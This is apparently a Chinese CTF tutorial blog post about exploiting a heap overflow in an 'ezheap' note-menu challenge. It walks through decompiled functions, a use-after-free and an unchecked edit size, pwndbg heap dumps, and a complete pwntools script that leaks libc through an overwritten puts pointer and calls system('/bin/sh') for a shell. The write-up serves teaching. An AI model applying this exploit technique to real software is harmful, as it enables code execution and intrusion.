从零开始的 Pwn 之旅 - 简单的堆溢出

示例

ezheap

经典菜单题

1
2
3
4
5
6
7
~/D/ezheap ❯❯❯ ./ezheap
Easy Note.
1.Add.
2.Delete.
3.Show.
4.Edit.
Choice:

add 函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int add()
{
  __int64 v0; // rbx
  __int64 v1; // rax
  int v3; // [rsp+0h] [rbp-20h]
  int v4; // [rsp+4h] [rbp-1Ch]

  puts("Input your idx:");
  v3 = getnum();
  puts("Size:");
  v4 = getnum();
  if ( (unsigned int)v4 > 0x100 )
  {
    LODWORD(v1) = puts("Invalid!");
  }
  else
  {
    heaplist[v3] = malloc(0x20u);
    if ( !heaplist[v3] )
    {
      puts("Malloc Error!");
      exit(1);
    }
    v0 = heaplist[v3];
    *(_QWORD *)(v0 + 16) = malloc(v4);
    *(_QWORD *)(heaplist[v3] + 32LL) = &puts;
    if ( !*(_QWORD *)(heaplist[v3] + 16LL) )
    {
      puts("Malloc Error!");
      exit(1);
    }
    sizelist[v3] = v4;
    puts("Name: ");
    if ( !(unsigned int)read(0, (void *)heaplist[v3], 0x10u) )
    {
      puts("Something error!");
      exit(1);
    }
    puts("Content:");
    if ( !(unsigned int)read(0, *(void **)(heaplist[v3] + 16LL), sizelist[v3]) )
    {
      puts("Error!");
      exit(1);
    }
    puts("Done!");
    v1 = heaplist[v3];
    *(_DWORD *)(v1 + 24) = 1;
  }
  return v1;
}

detele 函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
_QWORD *delete()
{
  _QWORD *result; // rax
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 <= 0x10 && *(_DWORD *)(heaplist[v1] + 24LL) )
  {
    free(*(void **)(heaplist[v1] + 16LL));
    free((void *)heaplist[v1]);
    sizelist[v1] = 0;
    *(_DWORD *)(heaplist[v1] + 24LL) = 0;
    *(_QWORD *)(heaplist[v1] + 16LL) = 0;
    result = heaplist;
    heaplist[v1] = 0;
  }
  else
  {
    puts("Error idx!");
    return 0;
  }
  return result;
}

free 之后没有置空 heaplist[v1] 指针,存在 UAF 漏洞

show 函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
__int64 show()
{
  signed int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( (unsigned int)v1 < 0x10 && heaplist[v1] )
  {
    (*(void (__fastcall **)(_QWORD))(heaplist[v1] + 32LL))(heaplist[v1]);
    return (*(__int64 (__fastcall **)(_QWORD))(heaplist[v1] + 32LL))(*(_QWORD *)(heaplist[v1] + 16LL));
  }
  else
  {
    puts("Error idx!");
    return 0;
  }
}

edit 函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
ssize_t edit()
{
  unsigned int v1; // [rsp+8h] [rbp-8h]
  unsigned int nbytes; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  puts("Size:");
  nbytes = getnum();
  if ( v1 <= 0x10 && heaplist[v1] && nbytes <= 0x100 )
    return read(0, *(void **)(heaplist[v1] + 16LL), nbytes);
  puts("Error idx!");
  return 0;
}

我们可以控制 nbytes 的大小,导致堆溢出


动态调试来查看 heap 内存布局

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
pwndbg> r
Starting program: /home/lhon901/Downloads/ezheap/ezheap
Easy Note.
1.Add.
2.Delete.
3.Show.
4.Edit.
Choice:
1
Input your idx:
0
Size:
16
Name:
aaaa
Content:
bbbb
Done!
1.Add.
2.Delete.
3.Show.
4.Edit.
Choice:

pwndbg> heap
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.

Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE
Addr: 0x55555555b030
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x55555555b050
Size: 0x20fb0 (with flag bits: 0x20fb1)

pwndbg> x/20gx 0x55555555b000
0x55555555b000: 0x0000000000000000 0x0000000000000031
0x55555555b010: 0x0000000a61616161 0x0000000000000000
0x55555555b020: 0x000055555555b040 0x0000000000000001
0x55555555b030: 0x00007ffff786f6a0 0x0000000000000021
0x55555555b040: 0x0000000a62626262 0x0000000000000000
0x55555555b050: 0x0000000000000000 0x0000000000020fb1
0x55555555b060: 0x0000000000000000 0x0000000000000000
0x55555555b070: 0x0000000000000000 0x0000000000000000
0x55555555b080: 0x0000000000000000 0x0000000000000000
0x55555555b090: 0x0000000000000000 0x0000000000000000
pwndbg> tele 0x00007ffff786f6a0
00:0000│  0x7ffff786f6a0 (puts) ◂— push r12
01:0008│  0x7ffff786f6a8 (puts+8) ◂— hlt
02:0010│  0x7ffff786f6b0 (puts+16) ◂— 0x458bc38948003560 /* '`5' */
03:0018│  0x7ffff786f6b8 (puts+24) ◂— add byte ptr [rax - 0x77], cl
04:0020│  0x7ffff786f6c0 (puts+32) ◂— add byte ptr [rbp + 0x61], dh
05:0028│  0x7ffff786f6c8 (puts+40) ◂— add byte ptr [rax], al
06:0030│  0x7ffff786f6d0 (puts+48) ◂— add byte ptr [rax], al
07:0038│  0x7ffff786f6d8 (puts+56) ◂— test byte ptr [rbx], bl

0x55555555b000 中存储这我们刚才 add 的数据, 0x55555555b000 + 0x20 处存储这 content 的地址,edit 函数就是更具这个地址来修改内容的
我们可以创建两个节点, 第一个节点的 content 会和第二个节点相连,这样我们就能修改 0x55555555b000 + 0x30 处存放的函数地址了, 这里原本应该储存 puts 的地址

wp :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
from LibcSearcher import *
from ctypes import *
context.log_level = "debug"
libc = ELF("./libc-2.23.so")
io = process("./ezheap")
# io = remote('node1.anna.nssctf.cn', 28720)

def s(payload: bytes) -> None:
    return io.send(payload)

def sl(payload: bytes) -> None:
    return io.sendline(payload)

def sa(message: str, payload: bytes) -> bytes:
    return io.sendafter(message, payload)

def sla(message: str, payload: bytes) -> bytes:
    return io.sendlineafter(message, payload)

def r(numb = None, timeout: float = 5) -> bytes:
    return io.recv(numb, timeout)

def rl() -> bytes:
    return io.recvline()

def ru(message, drop: bool = False, timeout: float = 5) -> bytes:
    return io.recvuntil(message, drop=drop, timeout=timeout)

def i() -> None:
    return io.interactive()


def add(index, size, name, content):
    sla("Choice:", "1")
    sla("Input your idx:", str(index))
    sla("Size:", str(size))
    sla("Name:", name)
    sla("Content:", content)

def delete(index):
    sla("Choice:", "2")
    sla("Input your idx:", str(index))

def show(index):
    sla("Choice:", "3")
    sla("Input your idx:", str(index))

def edit(index, size, content):
    sla("Choice:", "4")
    sla("Input your idx:", str(index))
    sla("Size:", str(size))
    s(content)

# leak libc_base
add(0, 0x10, "A", "A")
add(1, 0x10, "B", "B")
payload = b'\x00'*0x18 + p64(0x31) + b'\x00'*0x10 + b'\x80'
edit(0, 0x31, payload)
show(1)

libc_base = u64(ru(b"\x7f")[-6:].ljust(8, b"\x00")) - libc.sym["puts"]
log.info("libc_base: " + hex(libc_base))
# get shell
system = libc_base + libc.sym["system"]
payload = p64(0)*3 + p64(0x31) + b'/bin/sh\x00' + p64(0)*2 + p64(1) + p64(system)
edit(0, 0x48, payload)
show(1)

i()